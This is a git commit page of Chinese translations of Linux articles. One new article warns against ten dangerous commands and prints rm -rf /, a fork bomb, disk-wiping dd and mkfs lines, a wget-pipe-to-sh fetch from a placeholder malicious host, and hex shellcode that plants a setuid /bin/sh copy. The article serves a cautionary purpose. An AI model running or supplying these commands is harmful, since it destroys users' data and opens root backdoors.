2
0
mirror of https://github.com/LCTT/TranslateProject.git synced 2025-03-27 02:30:10 +08:00
This commit is contained in:
zsJacky 2013-12-10 00:26:14 +08:00
commit a0405ebbec
48 changed files with 2876 additions and 1070 deletions
.gitignore
published
sources
translated

4
.gitignore vendored
View File

@ -1,3 +1,3 @@
*.md~
members.md
*.html
*.html

View File

@ -0,0 +1,97 @@
永远不要在Linux执行的10个最危险的命令
================================================================================
Linux命令行佷有用、很高效也很有趣但有时候也很危险尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。译注当然以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普通用户身份下破坏的只是自己的一亩三分地。
![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)
### 1. rm -rf 命令 ###
**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。
- **rm** 命令在Linux下通常用来删除文件。
- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
- **rm -f** 命令能不经过询问直接删除只读文件译注Linux下删除文件并不在乎该文件是否是只读的而只是在意其父目录是否有写权限。所以-f这个参数只是表示不必一个个删除确认而是一律悄悄删除。另外原始的rm命令其实也是没有删除提示的只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认而-f则抑制了这个提示。
- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
- rm -rf *: 强制删除当前目录的所有文件。
- **rm -rf .** : 强制删除当前文件夹及其子文件夹。
从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 **rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么译者本人有着血泪的教训啊。
### 2. :(){:|:&};: 命令###
这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 :‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
### 3. 命令 > /dev/sda ###
上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
### 4. mv 文件夹 /dev/null ###
这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。
### 5. wget http://malicious_source -O- | sh ###
上列命令会从一个也许是恶意源下载一个脚本并执行。get命令会下载这个脚本而**sh**会(无条件的)执行下载下来的脚本。
**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。译注所以你真的知道你在做什么吗当遇到这种需要是我的做法是先wget下来然后我去读一读其中到底写了些什么然后考虑是否执行。
### 6. mkfs.ext3 /dev/sda ###
上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备除非是作为raw设备使用一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然无论你使用sda还是sda1这样对块设备或分区进行mkfs都是毁灭性的上面的数据都会被蒸发了。
### 7. > file###
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。
### 8. \^foo\^bar ###
这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
### 9. dd if=/dev/random of=/dev/sda ###
上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然你的系统可能陷入混乱和不可恢复的状态。译注记得上面说过mv到黑洞并不能彻底删除数据么那么这个命令就是给了你一个彻底删除的方法当然为了保险起见你可以覆写多次。
### 10. 隐藏命令 ###
下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们请在虚拟机上运行。任何不和谐或数据丢失由于运行上面的命令导致你的系统崩溃文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~
今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2284-1.html

View File

@ -1,16 +1,17 @@
每日Ubuntu小技巧-使用OpenDNS的安全协议保护你的电脑
每日Ubuntu小技巧-使用OpenDNS保护你的电脑
===
因特网是个大熔炉。无论是好人还是坏人,都可以连接到和我们一样的网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样,因特网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供有免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入因特网真是一件好事情。
互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。
但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。
正因为此,推荐连入因特网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
当寻找添加一个额外的安全层去保护你的机器时使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成尽力对其每一部分都进行相应保护是保证安全的最好方法。
首先你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。
首先你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。译注我们认为其实在Ubuntu上使用反病毒和反间谍软件并不太必要但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外使用国外的DNS可能会比较慢也许过一段时间国内也会出现类似的服务。
这是一个简明手册告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
@ -30,6 +31,6 @@
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,24 @@
通俗易懂的设计故事更能激发你的创意
================================================================================
伴随着产品品质、性能稳定和灵活性的提高Ubuntu渐渐吸引了一批富有经验的设计师这些设计师覆盖了越来越多的Ubuntu角落其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。
Faenza和Faience的发明者 **Ubuntu设计师 Matthieu "Tiheum" James**,发布了一篇富有见地的有趣文章,这篇文章围绕着几个图标的发明展开,使得对此感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。
这里提到的图标专为Juju设计在最近的OpenStack峰会香港站上在与Ubuntu展台的参观者们见面的时候发布这些图标采用了一个有趣的特性“为了向参观Ubuntu展台的观众说明Juju可以做什么**我们想**用更特殊的一些东西来代替普通的Juju图标。我们决定使用这样一个创意将不同的配料与酱汁与冰淇淋自由搭配创作出图标这样用户就能理解他们能够使用同样的方法自由搭配建立Juju中的服务。
这篇文章介绍了在真实的图标创作过程中的真实心路历程,使读者沉浸在一个学习但却易于掌握的旅程中,在旅程之中包括寻找好的概念、最初的草图、为图标添加立体感、采用不同的设计方法、选择图标背景、精炼图标等等。总之,这是一个通俗易懂的设计故事。
![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg)
你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。
--------------------------------------------------------------------------------
via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story
译者:[crowner](https://github.com/crowner) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/

View File

@ -31,12 +31,11 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu
$ hostname
dev-machine
你**需要使用root权限**,或者同样的权限来设置/修改你计算机的主机名。#标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息那么你的hostname已经改变了。再一次使用hostname命令检查看看结果。
你**需要使用root权限**,或者等同root的权限来设置/修改你计算机的主机名。#标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息那么你的hostname已经改变了。再一次使用hostname命令检查看看结果。
使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机,你的设定将会失效。 **为了永久改变** 你必须手动修改hostname配置文件。
**On Debian / Ubuntu based Linux**
**基于Linux 的 Debian / Ubuntu**
**Debian / Ubuntu系的Linux**
你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件
@ -55,8 +54,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu
你将会发现不用重启你的linux它就即刻生效。
**On RedHat / CentOS based Linux**
**基于Linux的 RedHat / CentOS**
**RedHat / CentOS系的Linux**
你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。
@ -67,7 +65,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1
/etc/sysconfig/network
**/etc/sysconfig/network**
NETWORKING=yes
NETWORKING_IPV6=no
@ -82,7 +80,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu
在本篇文章dnsdomainname命令的结果是 **bris.co.id**
如果你看见结果是 (**none**),那么你的机器**没有配置FQDNFully Qualified Domain Name 完全符合标准的域名)** 。Dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为完全符合标准的域名格式。接下来一个简单的例子:
如果你看见结果是 (**none**)那么你的机器**没有配置FQDNFully Qualified Domain Name 完全符合标准的域名)** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子:
**/etc/hosts**
@ -99,9 +97,9 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu
Result: h_aliases=dev-machine
Result: h_addr_list=192.168.0.104
### 如何显示hostname更多细节信息###
### 如何显示hostname更多细节信息###
Hostname命令可以使用多个参数和一些别名如dnsdomainname命令。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
Hostname命令可以使用多个参数和一些别名,比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
**显示IP地址**
@ -126,7 +124,7 @@ Hostname命令可以使用多个参数和一些别名如dnsdomainname命令
**显示细节信息**
所有的参数包括上述信息,都可以通过使用参数**-v 和 -d** 来概括。让我们来看一个例子。
所有的参数包括上述信息,都可以通过使用参数**-v****-d** 来概括。让我们来看一个例子。
$ hostname -v -d
gethostname()=dev-machine.bris.co.id

View File

@ -1,6 +1,6 @@
如何在Linux平台上安装Ghost博客平台
===
[Ghost][1]是一个相对较新的博客发布平台它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台发展到现在已经逐渐变得笨重、复杂以至于难以维护。但此同时仅仅诞生才几个月的Ghost坚持以用户为中心打造精雕细琢的用户界面承诺要做一个纯粹的博客平台。
[Ghost][1]是一个相对较新的博客发布平台它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台发展到现在已经逐渐变得笨重、复杂以至于难以维护。但此同时仅仅诞生才几个月的Ghost坚持以用户为中心打造精雕细琢的用户界面承诺要做一个纯粹的博客平台。
在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。
@ -35,7 +35,7 @@ Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运
[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4]
在你的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
在你本机的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5]
@ -57,10 +57,12 @@ Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运
你也可以检查一下forever活动进程列表
$ sudo forever list
-
> info: Forever processes running
> data: uid command script forever pid logfile uptime
> data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
info: Forever processes running
data: uid command script forever pid logfile uptime
data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
假如你看到以上信息意味着Ghost已经成功以后台进程运行咯。

View File

@ -11,6 +11,7 @@
不久前Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。
你可以点击[这儿][3]阅读更多相关的安全公告。
--------------------------------------------------------------------------------
via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/

View File

@ -62,19 +62,19 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg)
### General ###
#### General选项卡 ####
在 General 选项内你可以选择多久进行一次完整备份默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg)
### Include ###
#### Include选项卡 ####
这个选项不需要解释太多,你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录我删除了所有的目录仅仅保留了“Resume”
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg)
### Exclude ###
#### Exclude选项卡 ####
如同 Include 选项,我们可以选择备份时排除的文档和目录,只需要选择要排除的文档和目录的路径即可。在默认配置下,/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除
@ -92,7 +92,7 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg)
### Destination ###
#### Destination选项卡 ####
在这里你可以选择备份存放的路径,正如我之前提到的,你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。
@ -100,7 +100,7 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以
**提示:** 在备份前确认目录有足够的空间保存备份文件
### Schedule ###
#### Schedule选项卡 ####
在这个选项中,你可以设定具体的备份时间。点击 **Simple** 选项,可以按每小时、每日、每周、每月来设置你的计划备份时间。
@ -114,13 +114,13 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以
lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch
### Purging ###
#### Purging选项卡 ####
在这个选项里可以删除超过一定时间的备份文件。在默认配置下超过30天的备份文件将被删除。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg)
### Report ###
#### Report选项卡 ####
Report 是最后一个选项卡在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后点击 Test mail settings。需要留意的是在测试邮箱设置前点击工具栏中的Save Configuration按钮保存你的配置。

View File

@ -0,0 +1,25 @@
打砖块游戏Briquolo测试你的反应速度
================================================================================
[Briquolo][2]是一款快速而又迷人的游戏,用一个球来破坏不同的物体,经典而又好玩。
Briquolo十分考验反应速度因此游戏玩家必需时刻注意球的反弹走向一不留神就可能让球掉落。
启动游戏后你会看到这是一款3D游戏以3D对象展现的华丽木块浮动在一个多彩的环境里当击破木块时有机率掉落特殊物体毫无疑问获取它们是至关重要的这会改变球或滑板的状态比如球会加速但有时候也会给你带来麻烦。
音乐及特效选项还提供了更精致的效果(包括游戏全屏,高分辨率,--可调至1920×1080--)进而呈现一个有趣而又更富挑战性的Briquolo。
![](http://iloveubuntu.net/pictures_me/Briquolo%20usc.jpg)
Briquolo 0.5.7可以通过Ubuntu软件中心(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)[免费安装][2]。
--------------------------------------------------------------------------------
via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://briquolo.free.fr/en/
[2]:apt://briquolo

View File

@ -1,12 +1,13 @@
新蠕虫能感染 Linux 系统和嵌入式设备!
================================================================================
**来自𧶼门铁克研究员的消息这个病毒通过2012年出现的 PHP 漏洞传播**
**来自赛门铁克研究员的消息这个病毒通过2012年出现的 PHP 漏洞传播**
据美国国际数据集团IDG的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机,其变种还会对运行在其他芯片架构上的设备(诸如家用路由器和机顶盒)造成威胁。
根据𧶼门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口CGI的配置环境下被执行。此漏洞的代号为 CVE-2012-1823通过这个漏洞攻击者可以远程执行任意代码所以这个漏洞又叫“程任意代码执行漏洞” —— 译者注。2012年5月份PHP 5.4.3 和 PHP 5.3.13 这两个版本被打上补丁,修复了这个漏洞。
根据门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口CGI的配置环境下被执行。此漏洞的代号为 CVE-2012-1823通过这个漏洞攻击者可以远程执行任意代码所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注。2012年5月份PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。
这个𧶼门铁克的研究员在[博客][1]中写道这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码PoCproof of concept概念验证。利用目标计算机的漏洞为对其进行攻击而设计的代码称为 exploit而一个没有充分利用漏洞的 exploit就是 PoC —— 译者注)。
这个门铁克的研究员在[博客][1]中写道这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码PoCproof of concept概念验证。利用目标计算机的漏洞为对其进行攻击而设计的代码称为 exploit而一个没有充分利用漏洞的 exploit就是 PoC —— 译者注)。
“在传播过程中,这段蠕虫代码会随机产生 IP 地址,通过特殊途径,利用普通的用户名密码发送 HTTP POST 请求,探测漏洞”,研究员解释道:“如果一个目标没有打上 CVE-2012-1823 的补丁,这台机器就会从病毒服务器下载蠕虫病毒,之后寻找下一个目标。”
@ -26,13 +27,13 @@
“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞,”啰嗦的研究员说:“我们面临的另一个问题是,即使用户注意到他们用的是有漏洞的设备,这些设备的供应商却没有提供补丁,原因是技术落后,或者完全就是硬件的限制:内存不足,或 CPU 太慢,不足以支持这些软件的新版本。”
“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的𧶼门铁克研究员说道。
“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的门铁克研究员说道。
--------------------------------------------------------------------------------
via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122
译者:[bazz2](https://github.com/bazz2) 校对:[校对者ID](https://github.com/校对者ID)
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,305 @@
30个实例详解TOP命令
================================================================================
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
译注不同发行版的top命令在各种细节有不同如果发现不同时请读你的帮助手册和命令内的帮助。
## 1. Top 命令输出: ##
首先让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义默认运行时top命令会显示如下输出
![默认显示](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png)
前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。
### 1.1 系统运行时间和平均负载: ###
![显示运行时间](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png)
top命令的顶部显示与uptime命令相似的输出。
这些字段显示:
- 当前时间
- 系统已运行的时间
- 当前登录用户的数量
- 相应最近5、10和15分钟内的平均负载。
可以使用'l'命令切换uptime的显示。
### 1.2 任务: ###
![任务概况](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png)
第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态)。这些进程概括信息可以用't'切换显示。
### 1.3 CPU 状态: ###
![CPU状态显示](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png)
下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示:
- us, user 运行(未调整优先级的) 用户进程的CPU时间
- sysystem: 运行内核进程的CPU时间
- niniced运行已调整优先级的用户进程的CPU时间
- waIO wait: 用于等待IO完成的CPU时间
- hi处理硬件中断的CPU时间
- si: 处理软件中断的CPU时间
- st这个虚拟机被hypervisor偷去的CPU时间译注如果当前处于一个hypervisor下的vm实际上hypervisor也是要消耗一部分CPU处理时间的
可以使用't'命令切换显示。
### 1.4 内存使用: ###
![内存使用情况](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png)
接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换部分显示的是:全部、已使用、空闲和缓冲交换空间。
内存显示可以用'm'命令切换。
### 1.5 字段/列: ###
![任务信息列](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png)
在横向列出的系统属性和状态下面,是以列显示的进程。不同的列代表下面要解释的不同属性。
默认上top显示这些关于进程的属性
**PID**
进程ID进程的唯一标识符
**USER**
进程所有者的实际用户名。
**PR**
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
**NI**
进程的nice值优先级。越小的值意味着越高的优先级。
**VIRT**
进程使用的虚拟内存。
**RES**
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
**SHR**
SHR是进程使用的共享内存。
**S**
这个是进程的状态。它有以下不同的值:
- D - 不可中断的睡眠态。
- R 运行态
- S 睡眠态
- T 被跟踪或已停止
- Z 僵尸态
**%CPU**
自从上一次更新时到现在任务所使用的CPU时间百分比。
**%MEM**
进程使用的可用物理内存百分比。
**TIME+**
任务启动后到现在所使用的全部CPU时间精确到百分之一秒。
**COMMAND**
运行进程所使用的命令。
还有许多在默认情况下不会显示的输出它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
## 2. 交互命令: ##
我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。
### 2.1 h: 帮助 ###
首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。
![帮助菜单](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png)
### 2.2 \<ENTER> 或者 \<SPACE>: 刷新显示 ###
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。
### 2.3 A: 切换交替显示模式 ###
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口译注分别关注不同的字段:
1. Def (默认字段组)
2. Job (任务字段组)
3. Mem (内存字段组)
4. Usr (用户字段组)
这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。译注只有当前窗口才会接受你键盘交互命令
![交替显示](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png)
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
![在交替显示中选择窗口](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png)
### 2.4 B: 触发粗体显示 ###
一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。
![关闭粗体](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png)
### 2.5 ds: 设置显示的刷新间隔 ###
当按下'd'或's'时你将被提示输入一个值以秒为单位它会以设置的值作为刷新间隔。如果你这里输入了1top将会每秒刷新。
![刷新间隔l](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png)
### 2.6 ltm: 切换负载、任务、内存信息的显示 ###
这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。
![不显示平均负载](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png)
![不显示CPU概况](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png)
![不显示内存和交换内存概况](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png)
![上面三个全不显示](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png)
